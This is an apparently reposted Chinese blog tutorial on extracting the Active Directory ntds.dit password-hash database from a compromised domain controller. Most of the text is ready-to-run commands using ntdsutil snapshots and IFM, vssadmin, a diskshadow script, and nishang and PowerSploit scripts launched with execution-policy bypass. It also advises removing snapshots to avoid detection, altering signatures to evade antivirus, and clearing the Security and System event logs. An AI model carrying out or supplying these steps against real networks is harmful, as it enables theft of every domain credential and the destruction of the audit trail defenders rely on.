获取ntds.dit

admin 2022年3月11日10:05:25评论74 views字数 2680阅读8分56秒阅读模式

获取ntds.dit


概览


ntds介绍、vss卷影复制服务介绍、ntdsutil、ntdsutil-ifm、vssadmin、diskshadow、wmi、日志清除。


NTDS介绍


获取域控后,如果想获取域用户的hash,则需要获取ntds.dit,ntds存储了所有域用户的hash,默认存放在c盘windows下的ntds目录,ntds.dit文件随着系统启动会被使用,所以不能直接复制和操作。


获取ntds.dit


VSS卷影复制服务介绍


VSS是Volume Shadow Copy Service缩写,Windows在运行一些程序时,会涉及到一些数据备份问题,为了解决该问题,引入了VSS(2003及以上系统),即程序运行中,也可以对数据进行操作。


ntdsutil


ntdsutil在域控上是默认安装的,供管理员访问和管理AD数据库使用,使用该工具可以对ntds.dit进行快照备份,随后把备份复制回来。


ntdsutil相关命令如下,首先查看当前快照列表:


ntdsutil snapshot "List All" quit quit


获取ntds.dit


查询已挂载的快照列表:


ntdsutil snapshot "List Mounted" quit quit


获取ntds.dit


创建快照:


ntdsutil snapshot "activate instance ntds" create quit quit


获取ntds.dit


快照创建后会得到一组guid,有了这个guid就可以对其进行挂载:


ntdsutil snapshot "mount {guidxxxx}" quit quit


获取ntds.dit


挂载后,我们就可以对该文件进行复制了,完整目录为:挂载目录windowsntdsntds.dit


获取ntds.dit


得到ntds.dit后,需要卸载快照及删除快照,删除痕迹避免被发现,命令如下:


# 卸载快照ntdsutil snapshot "unmount {guid}" quit quit# 删除快照ntdsutil snapshot "delete {guid}" quit quit


获取ntds.dit


ntdsutil-ifm


这里还是ntdsutil,不过用的是它下面的ifm命令,ifm意思是ifm media creation,用来生成域的配置文件,包括ntds.dit,命令如下:


ntdsutil "activate instance ntds" "ifm" "create full c:ntdsutil" quit quit


获取ntds.dit


这种方式会直接生成ntds文件,不用再去创建快照、挂载等操作,但缺点是大小会大一点,如果域用户多,ntds本身就几个g,这种可能没有上一种方法传输来的方便,大小对比如下:


获取ntds.dit


ntds复制后或者传输回来后,删除ifm创建的那个文件夹接口,命令:


rd /s /q c:ntdsutil


vssadmin


vssadmin是vss的管理工具,在域控中也是默认安装的,可以通过vssadmin来备份c盘的副本,然后把ntds复制出来,相关命令如下:


# 列出已有的卷影副本vssadmin list shadows# 创建卷影副本vssadmin create shadow /for=c:# 复制卷影副本\?xxxxwindowsntdsntds.dit c:ntds.dit# 删除卷影副本vssadmin delete shadows /for=c: /quiet


获取ntds.dit


diskshadow


diskshadow也是个可以进行卷影备份的工具,windows系统自带,直接命令行输入diskshadow会进入一个交互式命令行,做备份、复制、删除执行相关命令即可,diskshadow支持允许脚本,可以把备份那一系列的命令放到文件中,然后允许,命令脚本示例如下:


set context persistent nowritersadd volume c: alias someAliascreateexpose %someAlias% z:exec "c:windowssystem32cmd.exe" /c copy z:windowsntdsntds.dit c:ntds3.ditdelete shadows volume %someAlias%reset


diskshadow的s参数跟脚本即可:


获取ntds.dit


这里提示驱动号已被使用,我这里刚才测试已经有z盘了,可以换个盘符或者删除已有的z,这里进行删除一下,删除时不能指定z盘符,需要指定原始盘符(也就是c):


获取ntds.dit


新运行备份:


获取ntds.dit


PS:上面那个备份脚本,exec执行时,cmd.exe要写全路径,如果只写cmd.exe,会提示脚本名无效。


wmi


wmi也支持创建卷影副本,但是命令比较繁琐,所以诞生了一些以wmi为基础进行卷影复制的脚本,这里测试几个。


1,nishang中的Copy-VSS.ps1脚本


https://github.com/samratashok/nishang/blob/master/Gather/Copy-VSS.ps1


获取ntds.dit


2,PowerSploit中的VolumeShadowCopyTools.ps1脚本


https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/VolumeShadowCopyTools.ps1


这个脚本被杀的很严重,如果想用,可以尝试更改一下特征字符,相关命令如下:


# 创建c盘卷影副本powershell -ep bypass -c "import-module c:VolumeShadowCopyTools.ps1;New-VolumeShadowCopy -Volume c:powersploitntds"# 获取c盘卷影副本路径powershell -ep bypass -c "import-module c:VolumeShadowCopyTools.ps1;Get-VolumeShadowCopy"# 复制文件copy \?xxxxwindowsntdsntds.dit c:ntds.dit# 删除卷影副本powershell -ep bypass -c "import-module c:VolumeShadowCopyTools.ps1;Remove-VolumeShadowCopy -DevicePath '\?xx'"


日志清除


vss卷影服务运行会产生一个7036的系统日志:


获取ntds.dit


最简单的办法可以直接全部清除:


# cmd命令,需要管理员权限wevtutil cl securitywevtutil cl system# powershell命令,管理员身份运行Clear-Eventlog -LogName SecurityClear-Eventlog -LogName System


原文始发于微信公众号(aFa攻防实验室):获取ntds.dit

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月11日10:05:25
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   获取ntds.dithttp://cn-sec.com/archives/825903.html

发表评论

匿名网友 填写信息